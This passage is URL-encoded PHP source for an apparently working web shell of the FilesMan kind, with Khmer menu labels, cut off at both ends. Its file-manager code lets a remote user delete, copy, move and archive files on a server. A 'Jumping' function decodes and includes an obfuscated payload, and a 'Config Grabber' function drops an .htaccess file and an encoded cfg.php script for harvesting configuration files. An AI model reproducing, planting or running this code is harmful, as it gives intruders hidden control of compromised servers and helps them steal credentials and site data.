20%24%E2%96%9F%20%3D%20%24path%20.%20%24%E2%96%9F%3B%20if%20%28basename%28%24%E2%96%9F%29%20%3D%3D%20%22..%22%20%7C%7C%20basename%28%24%E2%96%9F%29%20%3D%3D%20%22.%22%29%20%7B%20continue%3B%20%7D%20%24type%20%3D%20filetype%28%24%E2%96%9F%29%3B%20if%20%28%24type%20%3D%3D%20%22dir%22%29%20%7B%20deleteDir%28%24%E2%96%9F%29%3B%20%7D%20else%20%7B%20%40unlink%28%24%E2%96%9F%29%3B%20%7D%20%7D%20closedir%28%24dh%29%3B%20%40rmdir%28%24path%29%3B%20%7D%20if%20%28is%5farray%28%40%24%5fPOST%5B%22f%22%5D%29%29%20%7B%20foreach%20%28%24%5fPOST%5B%22f%22%5D%20as%20%24f%29%20%7B%20if%20%28%24f%20%3D%3D%20%22..%22%29%20%7B%20continue%3B%20%7D%20%24f%20%3D%20urldecode%28%24f%29%3B%20if%20%28is%5fdir%28%24f%29%29%20%7B%20deleteDir%28%24f%29%3B%20%7D%20else%20%7B%20%40unlink%28%24f%29%3B%20%7D%20%7D%3B%20%7D%20break%3B%20case%20%22paste%22%3A%20if%20%28%24%5fCOOKIE%5B%22act%22%5D%20%3D%3D%20%22copy%22%29%20%7B%20function%20copy%5fpaste%28%24c%2C%20%24s%2C%20%24d%29%20%7B%20if%20%28is%5fdir%28%24c%20.%20%24s%29%29%20%7B%20mkdir%28%24d%20.%20%24s%29%3B%20%24h%20%3D%20%40opendir%28%24c%20.%20%24s%29%3B%20while%20%28%28%24f%20%3D%20%40readdir%28%24h%29%29%20!%3D%3D%20false%29%20%7B%20if%20%28%24f%20!%3D%20%22.%22%20and%20%24f%20!%3D%20%22..%22%29%20%7B%20copy%5fpaste%28%20%24c%20.%20%24s%20.%20%22%2F%22%2C%20%24f%2C%20%24d%20.%20%24s%20.%20%22%2F%22%20%29%3B%20%7D%20%7D%20%7D%20elseif%20%28is%5ffile%28%24c%20.%20%24s%29%29%20%7B%20%40copy%28%24c%20.%20%24s%2C%20%24d%20.%20%24s%29%3B%20%7D%20%7D%20foreach%20%28%24%5fCOOKIE%5B%22f%22%5D%20as%20%24f%29%20%7B%20copy%5fpaste%28%24%5fCOOKIE%5B%22c%22%5D%2C%20%24f%2C%20%24GLOBALS%5B%22cwd%22%5D%29%3B%20%7D%20%7D%20elseif%20%28%24%5fCOOKIE%5B%22act%22%5D%20%3D%3D%20%22move%22%29%20%7B%20function%20move%5fpaste%28%24c%2C%20%24s%2C%20%24d%29%20%7B%20if%20%28is%5fdir%28%24c%20.%20%24s%29%29%20%7B%20mkdir%28%24d%20.%20%24s%29%3B%20%24h%20%3D%20%40opendir%28%24c%20.%20%24s%29%3B%20while%20%28%28%24f%20%3D%20%40readdir%28%24h%29%29%20!%3D%3D%20false%29%20%7B%20if%20%28%24f%20!%3D%20%22.%22%20and%20%24f%20!%3D%20%22..%22%29%20%7B%20copy%5fpaste%28%20%24c%20.%20%24s%20.%20%22%2F%22%2C%20%24f%2C%20%24d%20.%20%24s%20.%20%22%2F%22%20%29%3B%20%7D%20%7D%20%7D%20elseif%20%28%40is%5ffile%28%24c%20.%20%24s%29%29%20%7B%20%40copy%28%24c%20.%20%24s%2C%20%24d%20.%20%24s%29%3B%20%7D%20%7D%20foreach%20%28%24%5fCOOKIE%5B%22f%22%5D%20as%20%24f%29%20%7B%20%40rename%28%24%5fCOOKIE%5B%22c%22%5D%20.%20%24f%2C%20%24GLOBALS%5B%22cwd%22%5D%20.%20%24f%29%3B%20%7D%20%7D%20elseif%20%28%24%5fCOOKIE%5B%22act%22%5D%20%3D%3D%20%22zip%22%29%20%7B%20if%20%28class%5fexists%28%22ZipArchive%22%29%29%20%7B%20%24zip%20%3D%20new%20ZipArchive%28%29%3B%20if%20%28%24zip-%3Eopen%28%24%5fPOST%5B%22p2%22%5D%2C%201%29%29%20%7B%20chdir%28%24%5fCOOKIE%5B%22c%22%5D%29%3B%20foreach%20%28%24%5fCOOKIE%5B%22f%22%5D%20as%20%24f%29%20%7B%20if%20%28%24f%20%3D%3D%20%22..%22%29%20%7B%20continue%3B%20%7D%20if%20%28%40is%5ffile%28%24%5fCOOKIE%5B%22c%22%5D%20.%20%24f%29%29%20%7B%20%24zip-%3EaddFile%28%24%5fCOOKIE%5B%22c%22%5D%20.%20%24f%2C%20%24f%29%3B%20%7D%20elseif%20%28%40is%5fdir%28%24%5fCOOKIE%5B%22c%22%5D%20.%20%24f%29%29%20%7B%20%24iterator%20%3D%20new%20RecursiveIteratorIterator%28%20new%20RecursiveDirectoryIterator%28%20%24f%20.%20%22%2F%22%2C%20FilesystemIterator%3A%3ASKIP%5fDOTS%20%29%20%29%3B%20foreach%20%28%24iterator%20as%20%24key%20%3D%3E%20%24value%29%20%7B%20%24zip-%3EaddFile%28realpath%28%24key%29%2C%20%24key%29%3B%20%7D%20%7D%20%7D%20chdir%28%24GLOBALS%5B%22cwd%22%5D%29%3B%20%24zip-%3Eclose%28%29%3B%20%7D%20%7D%20%7D%20elseif%20%28%24%5fCOOKIE%5B%22act%22%5D%20%3D%3D%20%22unzip%22%29%20%7B%20if%20%28class%5fexists%28%22ZipArchive%22%29%29%20%7B%20%24zip%20%3D%20new%20ZipArchive%28%29%3B%20foreach%20%28%24%5fCOOKIE%5B%22f%22%5D%20as%20%24f%29%20%7B%20if%20%28%24zip-%3Eopen%28%24%5fCOOKIE%5B%22c%22%5D%20.%20%24f%29%29%20%7B%20%24zip-%3EextractTo%28%24GLOBALS%5B%22cwd%22%5D%29%3B%20%24zip-%3Eclose%28%29%3B%20%7D%20%7D%20%7D%20%7D%20elseif%20%28%24%5fCOOKIE%5B%22act%22%5D%20%3D%3D%20%22tar%22%29%20%7B%20chdir%28%24%5fCOOKIE%5B%22c%22%5D%29%3B%20%24%5fCOOKIE%5B%22f%22%5D%20%3D%20array%5fmap%28%22escapeshellarg%22%2C%20%24%5fCOOKIE%5B%22f%22%5D%29%3B%20ex%28%20%22tar%20cfzv%20%22%20.%20escapeshellarg%28%24%5fPOST%5B%22p2%22%5D%29%20.%20%22%20%22%20.%20implode%28%22%20%22%2C%20%24%5fCOOKIE%5B%22f%22%5D%29%20%29%3B%20chdir%28%24GLOBALS%5B%22cwd%22%5D%29%3B%20%7D%20unset%28%24%5fCOOKIE%5B%22f%22%5D%29%3B%20%24GLOBALS%5B%22tinh%22%5D%5B10%5D%28%22f%22%2C%20%22%22%2C%20time%28%29%20-%203600%29%3B%20break%3B%20default%3A%20if%20%28!empty%28%24%5fPOST%5B%22p1%22%5D%29%29%20%7B%20%24GLOBALS%5B%22tinh%22%5D%5B13%5D%28%22act%22%2C%20%24%5fPOST%5B%22p1%22%5D%29%3B%20%24GLOBALS%5B%22tinh%22%5D%5B13%5D%28%22f%22%2C%20serialize%28%40%24%5fPOST%5B%22f%22%5D%29%29%3B%20%24GLOBALS%5B%22tinh%22%5D%5B13%5D%28%22c%22%2C%20%40%24%5fPOST%5B%22c%22%5D%29%3B%20%7D%20break%3B%20%7D%20%7D%20hardHeader%28%29%3B%20echo%20%27%3Ch1%3E%E1%9E%80%E1%9E%98%E1%9F%92%E1%9E%98%E1%9E%9C%E1%9E%B7%E1%9E%92%E1%9E%B8%E2%80%8B%E1%9E%82%E1%9F%92%E1%9E%9A%E1%9E%94%E1%9F%8B%E2%80%8B%E1%9E%82%E1%9F%92%E1%9E%9A%E1%9E%84%E2%80%8B%E1%9E%AF%E1%9E%80%E1%9E%9F%E1%9E%B6%E1%9E%9A%3C%2Fh1%3E%3Cdiv%20class%3Dcontent%3E%3Cscript%3Ep1%5f%3Dp2%5f%3Dp3%5f%3D%22%22%3B%3C%2Fscript%3E%27%3B%20%24dirContent%20%3D%20hardScandir%28%20isset%28%24%5fPOST%5B%22c%22%5D%29%20%3F%20%24%5fPOST%5B%22c%22%5D%20%3A%20%24GLOBALS%5B%22cwd%22%5D%20%29%3B%20if%20%28%24dirContent%20%3D%3D%3D%20false%29%20%7B%20echo%20%27Can%5C%27t%20open%20this%20folder!%27%3B%20hardFooter%28%29%3B%20return%3B%20%7D%20global%20%24sort%3B%20%24sort%20%3D%20%5B%22name%22%2C%201%5D%3B%20if%20%28!empty%28%24%5fPOST%5B%22p1%22%5D%29%29%20%7B%20if%20%28preg%5fmatch%28%22!s%5f%28%5BA-z%5D%2B%29%5f%28%5Cd%7B1%7D%29!%22%2C%20%24%5fPOST%5B%22p1%22%5D%2C%20%24match%29%29%20%7B%20%24sort%20%3D%20%5B%24match%5B1%5D%2C%20%28int%29%20%24match%5B2%5D%5D%3B%20%7D%20%7D%20echo%20%22%3Cscript%3E%0A%09function%20sa%28%29%20%7B%0A%09%09for%28i%3D0%3Bi%3Cd.files.elements.length%3Bi%2B%2B%29%0A%09%09%09if%28d.files.elements%5Bi%5D.type%20%3D%3D%20%27checkbox%27%29%0A%09%09%09%09d.files.elements%5Bi%5D.checked%20%3D%20d.files.elements%5B0%5D.checked%3B%0A%09%7D%0A%3C%2Fscript%3E%0A%3Ctable%20width%3D%27100%25%27%20class%3D%27main%27%20cellspacing%3D%270%27%20cellpadding%3D%272%27%3E%0A%3Cform%20name%3Dfiles%20method%3Dpost%3E%3Ctr%3E%3Cth%20width%3D%2713px%27%3E%3Cinput%20type%3Dcheckbox%20onclick%3D%27sa%28%29%27%20class%3Dchkbx%3E%3C%2Fth%3E%3Cth%3E%3Ca%20href%3D%27%23%27%20onclick%3D%27g%28%5C%22FilesMan%5C%22%2Cnull%2C%5C%22s%5fname%5f%22%20.%20%28%24sort%5B1%5D%20%3F%200%20%3A%201%29%20.%20%22%5C%22%29%27%3E%E1%9E%88%E1%9F%92%E1%9E%98%E1%9F%84%E1%9F%87%3C%2Fa%3E%3C%2Fth%3E%3Cth%3E%3Ca%20href%3D%27%23%27%20onclick%3D%27g%28%5C%22FilesMan%5C%22%2Cnull%2C%5C%22s%5fsize%5f%22%20.%20%28%24sort%5B1%5D%20%3F%200%20%3A%201%29%20.%20%22%5C%22%29%27%3E%E1%9E%91%E1%9F%86%E1%9E%A0%E1%9F%86%3C%2Fa%3E%3C%2Fth%3E%3Cth%3E%3Ca%20href%3D%27%23%27%20onclick%3D%27g%28%5C%22FilesMan%5C%22%2Cnull%2C%5C%22s%5fmodify%5f%22%20.%20%28%24sort%5B1%5D%20%3F%200%20%3A%201%29%20.%20%22%5C%22%29%27%3E%E1%9E%80%E1%9F%82%E1%9E%94%E1%9F%92%E1%9E%9A%E1%9F%82%E1%9E%85%E1%9E%BB%E1%9E%84%E1%9E%80%E1%9F%92%E1%9E%9A%E1%9F%84%E1%9E%99%3C%2Fa%3E%3C%2Fth%3E%3Cth%3E%E1%9E%98%E1%9F%92%E1%9E%85%E1%9E%B6%E1%9E%9F%E1%9F%8B%2F%E1%9E%9B%E1%9F%84%E1%9E%80%3C%2Fth%3E%3Cth%3E%3Ca%20href%3D%27%23%27%20onclick%3D%27g%28%5C%22FilesMan%5C%22%2Cnull%2C%5C%22s%5fperms%5f%22%20.%20%28%24sort%5B1%5D%20%3F%200%20%3A%201%29%20.%20%22%5C%22%29%27%3E%E1%9E%80%E1%9E%B6%E1%9E%9A%E1%9E%A2%E1%9E%93%E1%9E%BB%E1%9E%89%E1%9F%92%E1%9E%89%E1%9E%B6%E1%9E%8F%3C%2Fa%3E%3C%2Fth%3E%3Cth%3E%E1%9E%9F%E1%9E%80%E1%9E%98%E1%9F%92%E1%9E%98%E1%9E%97%E1%9E%B6%E1%9E%96%3C%2Fth%3E%3C%2Ftr%3E%22%3B%20%24dirs%20%3D%20%24files%20%3D%20%5B%5D%3B%20%24n%20%3D%20count%28%24dirContent%29%3B%20for%20%28%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B%29%20%7B%20%24ow%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B18%5D%28%40fileowner%28%24dirContent%5B%24i%5D%29%29%3B%20%24gr%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B19%5D%28%40filegroup%28%24dirContent%5B%24i%5D%29%29%3B%20%24tmp%20%3D%20%5B%20%22name%22%20%3D%3E%20%24dirContent%5B%24i%5D%2C%20%22path%22%20%3D%3E%20%24GLOBALS%5B%22cwd%22%5D%20.%20%24dirContent%5B%24i%5D%2C%20%22modify%22%20%3D%3E%20date%28%20%22Y-m-d%20H%3Ai%3As%22%2C%20%40filemtime%28%24GLOBALS%5B%22cwd%22%5D%20.%20%24dirContent%5B%24i%5D%29%20%29%2C%20%22perms%22%20%3D%3E%20viewPermsColor%28%24GLOBALS%5B%22cwd%22%5D%20.%20%24dirContent%5B%24i%5D%29%2C%20%22size%22%20%3D%3E%20%40filesize%28%24GLOBALS%5B%22cwd%22%5D%20.%20%24dirContent%5B%24i%5D%29%2C%20%22owner%22%20%3D%3E%20%24ow%5B%22name%22%5D%20%3F%20%24ow%5B%22name%22%5D%20%3A%20%40fileowner%28%24dirContent%5B%24i%5D%29%2C%20%22group%22%20%3D%3E%20%24gr%5B%22name%22%5D%20%3F%20%24gr%5B%22name%22%5D%20%3A%20%40filegroup%28%24dirContent%5B%24i%5D%29%2C%20%5D%3B%20if%20%28%40is%5ffile%28%24GLOBALS%5B%22cwd%22%5D%20.%20%24dirContent%5B%24i%5D%29%29%20%7B%20%24files%5B%5D%20%3D%20array%5fmerge%28%24tmp%2C%20%5B%22type%22%20%3D%3E%20%22file%22%5D%29%3B%20%7D%20elseif%20%28%40is%5flink%28%24GLOBALS%5B%22cwd%22%5D%20.%20%24dirContent%5B%24i%5D%29%29%20%7B%20%24dirs%5B%5D%20%3D%20array%5fmerge%28%24tmp%2C%20%5B%20%22type%22%20%3D%3E%20%22link%22%2C%20%22link%22%20%3D%3E%20readlink%28%24tmp%5B%22path%22%5D%29%2C%20%5D%29%3B%20%7D%20elseif%20%28%20%40is%5fdir%28%24GLOBALS%5B%22cwd%22%5D%20.%20%24dirContent%5B%24i%5D%29%20%26%26%20%24dirContent%5B%24i%5D%20!%3D%20%22.%22%20%29%20%7B%20%24dirs%5B%5D%20%3D%20array%5fmerge%28%24tmp%2C%20%5B%22type%22%20%3D%3E%20%22dir%22%5D%29%3B%20%7D%20%7D%20%24GLOBALS%5B%22sort%22%5D%20%3D%20%24sort%3B%20function%20cmp%28%24a%2C%20%24b%29%20%7B%20if%20%28%24GLOBALS%5B%22sort%22%5D%5B0%5D%20!%3D%20%22size%22%29%20%7B%20return%20strcmp%28%20%24GLOBALS%5B%22tinh%22%5D%5B27%5D%28%24a%5B%24GLOBALS%5B%22sort%22%5D%5B0%5D%5D%29%2C%20%24GLOBALS%5B%22tinh%22%5D%5B27%5D%28%24b%5B%24GLOBALS%5B%22sort%22%5D%5B0%5D%5D%29%20%29%20%2a%20%28%24GLOBALS%5B%22sort%22%5D%5B1%5D%20%3F%201%20%3A%20-1%29%3B%20%7D%20else%20%7B%20return%20%28%24a%5B%22size%22%5D%20%3C%20%24b%5B%22size%22%5D%20%3F%20-1%20%3A%201%29%20%2a%20%28%24GLOBALS%5B%22sort%22%5D%5B1%5D%20%3F%201%20%3A%20-1%29%3B%20%7D%20%7D%20usort%28%24files%2C%20%22cmp%22%29%3B%20usort%28%24dirs%2C%20%22cmp%22%29%3B%20%24files%20%3D%20array%5fmerge%28%24dirs%2C%20%24files%29%3B%20%24l%20%3D%200%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20echo%20%22%3Ctr%22%20.%20%28%24l%20%3F%20%22%20class%3Dl1%22%20%3A%20%22%22%29%20.%20%27%3E%3Ctd%3E%3Cinput%20type%3Dcheckbox%20name%3D%22f%5B%5D%22%20value%3D%22%27%20.%20urlencode%28%24f%5B%22name%22%5D%29%20.%20%27%22%20class%3Dchkbx%3E%3C%2Ftd%3E%3Ctd%3E%3Ca%20href%3D%23%20onclick%3D%22%27%20.%20%28%24f%5B%22type%22%5D%20%3D%3D%20%22file%22%20%3F%20%27g%28%5C%27FilesTools%5C%27%2Cnull%2C%5C%27%27%20.%20urlencode%28%24f%5B%22name%22%5D%29%20.%20%27%5C%27%2C%20%5C%27view%5C%27%29%22%3E%27%20.%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24f%5B%22name%22%5D%29%20%3A%20%27g%28%5C%27FilesMan%5C%27%2C%5C%27%27%20.%20%24f%5B%22path%22%5D%20.%20%27%5C%27%29%3B%22%20%27%20.%20%28empty%28%24f%5B%22link%22%5D%29%20%3F%20%22%22%20%3A%20%22title%3D%27%7B%24f%5B%22link%22%5D%7D%27%22%29%20.%20%22%3E%3Cb%3E%5B%20%22%20.%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24f%5B%22name%22%5D%29%20.%20%22%20%5D%3C%2Fb%3E%22%29%20.%20%22%3C%2Fa%3E%3C%2Ftd%3E%3Ctd%3E%22%20.%20%28%24f%5B%22type%22%5D%20%3D%3D%20%22file%22%20%3F%20viewSize%28%24f%5B%22size%22%5D%29%20%3A%20%24f%5B%22type%22%5D%29%20.%20%22%3C%2Ftd%3E%3Ctd%3E%22%20.%20%24f%5B%22modify%22%5D%20.%20%22%3C%2Ftd%3E%3Ctd%3E%22%20.%20%24f%5B%22owner%22%5D%20.%20%22%2F%22%20.%20%24f%5B%22group%22%5D%20.%20%27%3C%2Ftd%3E%3Ctd%3E%3Ca%20href%3D%23%20onclick%3D%22g%28%5C%27FilesTools%5C%27%2Cnull%2C%5C%27%27%20.%20urlencode%28%24f%5B%22name%22%5D%29%20.%20%27%5C%27%2C%5C%27chmod%5C%27%29%22%3E%27%20.%20%24f%5B%22perms%22%5D%20.%20%27%3C%2Ftd%3E%3Ctd%3E%3Ca%20class%3D%22tooltip%22%20data-tooltip%3D%22Rename%22%20href%3D%22%23%22%20onclick%3D%22g%28%5C%27FilesTools%5C%27%2Cnull%2C%5C%27%27%20.%20urlencode%28%24f%5B%22name%22%5D%29%20.%20%27%5C%27%2C%20%5C%27rename%5C%27%29%22%3ER%3C%2Fa%3E%20%3Ca%20class%3D%22tooltip%22%20data-tooltip%3D%22Touch%22%20href%3D%22%23%22%20onclick%3D%22g%28%5C%27FilesTools%5C%27%2Cnull%2C%5C%27%27%20.%20urlencode%28%24f%5B%22name%22%5D%29%20.%20%27%5C%27%2C%20%5C%27touch%5C%27%29%22%3ET%3C%2Fa%3E%27%20.%20%28%24f%5B%22type%22%5D%20%3D%3D%20%22file%22%20%3F%20%27%20%3Ca%20class%3D%22tooltip%22%20data-tooltip%3D%22Frame%22%20href%3D%22%23%22%20onclick%3D%22g%28%5C%27FilesTools%5C%27%2Cnull%2C%5C%27%27%20.%20urlencode%28%24f%5B%22name%22%5D%29%20.%20%27%5C%27%2C%20%5C%27frame%5C%27%29%22%3EF%3C%2Fa%3E%20%3Ca%20class%3D%22tooltip%22%20data-tooltip%3D%22Edit%22%20href%3D%22%23%22%20onclick%3D%22g%28%5C%27FilesTools%5C%27%2Cnull%2C%5C%27%27%20.%20urlencode%28%24f%5B%22name%22%5D%29%20.%20%27%5C%27%2C%20%5C%27edit%5C%27%29%22%3EE%3C%2Fa%3E%20%3Ca%20class%3D%22tooltip%22%20data-tooltip%3D%22Download%22%20href%3D%22%23%22%20onclick%3D%22g%28%5C%27FilesTools%5C%27%2Cnull%2C%5C%27%27%20.%20urlencode%28%24f%5B%22name%22%5D%29%20.%20%27%5C%27%2C%20%5C%27download%5C%27%29%22%3ED%3C%2Fa%3E%27%20%3A%20%22%22%29%20.%20%22%3C%2Ftd%3E%3C%2Ftr%3E%22%3B%20%24l%20%3D%20%24l%20%3F%200%20%3A%201%3B%20%7D%20echo%20%22%3Ctr%20id%3Dfak%3E%3Ctd%20colspan%3D7%3E%0A%09%3Cinput%20type%3Dhidden%20name%3Dne%20value%3D%27%27%3E%0A%09%3Cinput%20type%3Dhidden%20name%3Da%20value%3D%27FilesMan%27%3E%0A%09%3Cinput%20type%3Dhidden%20name%3Dc%20value%3D%27%22%20.%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24GLOBALS%5B%22cwd%22%5D%29%20.%20%22%27%3E%0A%09%3Cinput%20type%3Dhidden%20name%3Dcharset%20value%3D%27%22%20.%20%28isset%28%24%5fPOST%5B%22charset%22%5D%29%20%3F%20%24%5fPOST%5B%22charset%22%5D%20%3A%20%22%22%29%20.%20%22%27%3E%0A%09%3Clabel%3E%3Cselect%20name%3D%27p1%27%3E%22%3B%20if%20%28%20!empty%28%24%5fCOOKIE%5B%22act%22%5D%29%20%26%26%20is%5farray%28%24%5fCOOKIE%5B%22f%22%5D%29%20%3F%20count%28%24%5fCOOKIE%5B%22f%22%5D%29%20%3A%200%20%29%20%7B%20echo%20%22%3Coption%20value%3D%27paste%27%3E%E2%86%B3%20Paste%3C%2Foption%3E%22%3B%20%7D%20echo%20%22%3Coption%20value%3D%27copy%27%3ECopy%3C%2Foption%3E%3Coption%20value%3D%27move%27%3EMove%3C%2Foption%3E%3Coption%20value%3D%27delete%27%3EDelete%3C%2Foption%3E%22%3B%20if%20%28class%5fexists%28%22ZipArchive%22%29%29%20%7B%20echo%20%22%3Coption%20value%3D%27zip%27%3E%2B%20zip%3C%2Foption%3E%3Coption%20value%3D%27unzip%27%3E-%20zip%3C%2Foption%3E%22%3B%20%7D%20echo%20%22%3Coption%20value%3D%27tar%27%3E%2B%20tar.gz%3C%2Foption%3E%22%3B%20echo%20%22%3C%2Fselect%3E%3C%2Flabel%3E%22%3B%20if%20%28%20!empty%28%24%5fCOOKIE%5B%22act%22%5D%29%20%26%26%20is%5farray%28%24%5fCOOKIE%5B%22f%22%5D%29%20%3F%20count%28%24%5fCOOKIE%5B%22f%22%5D%29%20%3A%200%20%26%26%20%28%24%5fCOOKIE%5B%22act%22%5D%20%3D%3D%20%22zip%22%20%7C%7C%20%24%5fCOOKIE%5B%22act%22%5D%20%3D%3D%20%22tar%22%29%20%29%20%7B%20echo%20%22%26nbsp%3Bfile%20name%3A%20%3Cinput%20type%3Dtext%20name%3Dp2%20value%3D%27hard%5f%22%20.%20date%28%22Ymd%5fHis%22%29%20.%20%22.%22%20.%20%28%24%5fCOOKIE%5B%22act%22%5D%20%3D%3D%20%22zip%22%20%3F%20%22zip%22%20%3A%20%22tar.gz%22%29%20.%20%22%27%3E%26nbsp%3B%22%3B%20%7D%20echo%20%22%3Cinput%20type%3D%27submit%27%20value%3D%27submit%27%3E%3C%2Ftd%3E%3C%2Ftr%3E%3C%2Fform%3E%3C%2Ftable%3E%3C%2Fdiv%3E%22%3B%20hardFooter%28%29%3B%20%7D%20function%20actionStringTools%28%29%20%7B%20hardHeader%28%29%3B%20echo%20%22%3Ccenter%3E%3Ch1%3EJumping%20%3BD%3C%2Fh1%3E%3Cdiv%20class%3Dcontent%3E%3Cbr%3E%22%3B%20%24hex%20%3D%20%22tUhaYptAED1Gqf9uVywtNJFWD70kQKJJiZWe2lXpxbIQi2mX2NEaFrMJNP7vneXDxqYf6qGWDMvOzJs3YnRgoiGA88u3Yqx4HeuIK%2BGQXPOkkkKRb4wyQc7g3DUOKisp2H7CR%2Bjn%2BhGyV2UekE2yjY4v4HCyApkKbVZP27hClMgQu6CJih3bwycvwYByYZ%2BBzXkXKINcK8f2CxoLyHVSTLAstUPhShkTAVnJHAZkvnQcULshg46VZSatxaTZKMEdk9No4Qc6S7rYmwMgBF5f4V3j0Nr7bf4xu1Zhek5IXGg4KMgmqqXIylVJlVA8dPr%2Byr1LXWsoXVQBFylKLG1B61HHm6YEyyooc8lX58A2%2F7AAyTv%2Fl5Jplp61aOAc5Zpu9bZK0k1sxzFekq4rnVKlqKuWayOL5pGpQa6Ngsd17i6RNdGnp5f9%2BpktWqL5S6%2BbQZoF%2BBJXpoqAXCVFlMEIm4TD6A2t8mPk04H5ngx7yh3nJdPir5z%2FVfTLf3S67e5aYhkqgxKKNM6EpmSkSZpws5KEZb2KsGSTcqpmZUNSQXip4yad6WF5aeMYcphExRjcDkcseJVCZLPAqbD6YNP5B%2FGm%2FQfgXedQEIIDcJm%2BUNZZgJAvClGpoMUCk6yrGVx%2FzfZIH86DNZ4J%2B8R7lKyl247HNF%2Bf4ItgyGb3xNuG36Hv53F17%2Bckfx6WaTQeKatDvlChnXgjJ13GimgyPspXWK64h2C2O1X8WLTR3pyYwshvEHSOYBwa%2FH6qx%2BeShsjG99KR2Phbox4vg43tYblb9Yvjo%2BnebVDEzrW9NUpmMX9Ghja8z5EomM0B2h52U4WswJ5B9NSGYpqpWUP2hBsobFa5Sz8ZgZxWZ3t%2FZmp%2FMycPs9nn6OHT7Yws3KndENnuvzAefl1jrMyHxpjgKvwJ%22%3B%20%24temp%5ffile%20%3D%20tmpfile%28%29%3B%20fwrite%28%20%24temp%5ffile%2C%20%22%5Cx3C%5Cx3F%5Cx70%5Cx68%5Cx70%5Cx20%22%20.%20str%5frot13%28gzinflate%28str%5frot13%28%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%24hex%29%29%29%29%20%29%3B%20include%20stream%5fget%5fmeta%5fdata%28%24temp%5ffile%29%5B%22uri%22%5D%3B%20fclose%28%24temp%5ffile%29%3B%20echo%20%22%3C%2Fdiv%3E%22%3B%20hardFooter%28%29%3B%20%7D%20function%20actionSafeMode%28%29%20%7B%20hardHeader%28%29%3B%20echo%20%22%3Ccenter%3E%3Ch1%3EConfig%20Grabber%3C%2Fh1%3E%3Cdiv%20class%3Dcontent%3E%3Cbr%3E%22%3B%20%40%24GLOBALS%5B%22tinh%22%5D%5B11%5D%28%22display%5ferrors%22%2C%200%29%3B%20%24cgi%5fdir%20%3D%20mkdir%28%22.tmp%22%2C%200755%29%3B%20chdir%28%22.tmp%22%29%3B%20%24cui%20%3D%20fopen%28%22%5Cx2E%5Cx68%5Cx74%5Cx61%5Cx63%5Cx63%5Cx65%5Cx73%5Cx73%22%2C%20%22w%22%29%3B%20fwrite%28%20%24cui%2C%20%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%20%22PEZpbGVzICoucGhwPgpBbGxvdyBmcm9tIGFsbAo8L0ZpbGVzPg%3D%3D%22%20%29%20%29%3B%20fclose%28%24cui%29%3B%20%24file%5fmass%20%3D%20%22cfg.php%22%3B%20%24mass%5fscript%20%3D%20%22PD9wSHAgJGhleCA9ICI3Wng2WXRzNEVvQS94MEQrQTByd3dXbVRTMWEzaXg3YU9Oc2tkQ2VidTJaY3Q4bDZSV29OUkNkWFpIeTBVZHZhVllYLyt3MVN5WmFkRjZrN0JPNE91QUJrOWNKc09Cd09kQ2pWa3craEZRNlpZK3UxSUhGcHhNZFE0VGpVYnJWZHN0OXJ2MTNaMnRvS3Ayam1PaTZONkZVNGFPWmE0S3grYldnNlBPbEFvMTN5Y0tOT1RTMXZqRS9MZFh6YnJnaC9RVmJ0a1BsQmRidFVQQktPV3pjdVR5dWdJMU9ZWSs2RVVDenFFdWJaTm1oY0VSaU5VRE42WFlNdXhYM293ajhMNkJ5NnJnNUNRanAwaldLcjR5ODFuMDNUWTBuN0tydXRzV1I4TjZmTWNyVUcrU1lWL2hBL0JLRkdOK2JpZnJpOGRvQ3FZdCsrZWlSOFJEY2lpK3d4YjVLMVU2WlFxWGpJTnRXNXkzMWZNTll5UVhrM3BCWWoxMGtBa294OG9oRkxvak9PWWsvcmdYcEtQb2FPOEYzcWpKTUdFdGljdS9GcHBSc0VkSEJiRUVyY3V5WkxOclJWMDU3YkpMbG14YTBBRExOc1pydlM0V0hJcG5EU3RjWUc2UEZ1R2xOdmRYdnVFTWJzQ3N0eUcrTXltNW1teHU1RmRqVmtTT0g2VUpzek5ncE5tZVhVZHUwck5DRHdvejd6RGNXOUhkRUFERFN3QUxpNklaRkc2Z2p1eit1NXk0UXpSVnBiZ1BIaE1NOXJCNGlWYTlXRHlTZXRwTTJYbjZRSzFkOVNQS0VCZGhIYkViT2hJOEFTdnFqWHpJRnN4NTJCT1JxTjRDZ1o1OEEwd1NWNDhKdGdKQytja20waUYyWVh0S3FsTGMyd3RxdmFKTTY0bW5tam1WeGhHdWJjYU8yQStzd2MyWHZLbDVLWlREY3NORXJxTlkyOUMrb0UwQlZ3V3ZkZU9jakxYQVgxSEM1ZHA0RDlEMWZqaUg4WDJIeWdsbXRnYmdINWhqN1FTd1J1VERqTXJ4ZWJwUXdDYWk4dldHOU02QXB6Qm0vS3ZjZzFJZGE0b1RWd0JSMThaenliVk45MGxTVTZ0UHdDL0NsWnBzczdabmVYN0lMYnRnbGhZbFBVQjdYdTQrZ0YrQzJmd1ZlbGNzbE9IRTNsckg1dkM2dkhIYmU4emtUb0p6NlltU2pnTHA5akpnbzY2bFJFeUNJK1ZqdUNPTEZMTE9TS2V6WUVWQkFNU0FEZUNMK3FiaTc4ZmxWYjF3M1QyRjFpOVQ4VmYwYVZuNDYvTHhqcnpmNmJKdzBGMTR1c0JGcit1MW0wWFZhSVRQODd2VGxxWUJXMnpzOCs3ZjJaN0h6aWxxLzZoSEpXYWE1MEZuR1FIcmdmM0tKRUlCejJLV2VZV0duK2JXaHBlMUJwNU9jWm4xRmp2d09iQXhsajIxNEVBMDJlZmhSM293RGRrWjF3SG91TE1HUG5yVXFwSXFvSDhsZjZMUmg0dTlJV0l3ZkNRdCthaFpZZ0o5YnlWNDlOQWZuVHQybi9MK2Y5enRudzAvVmEvN2g3MjErUTM1cXZTZFltWDQ1N1g1Y3lSUmN5a094M1FmUzhmYjFWbXQ3c3Rscy83cjloZ2xXQjY4aHNmQzVpditBNU00ZENzbHFPL01uNWozY25HK1I4VmJXcWhpd2N6bDBmc3V6U1JHc1VEYXkyK0tjSGprNk9JWmtNckEzSFFuS1YzSlJQNE5uc0tEOENjSEdzT3B3bXhxcFlUTWpXZHUrTjkxdkoyTkw5QUVDZjJKSjVTa241ZkFnNlQwR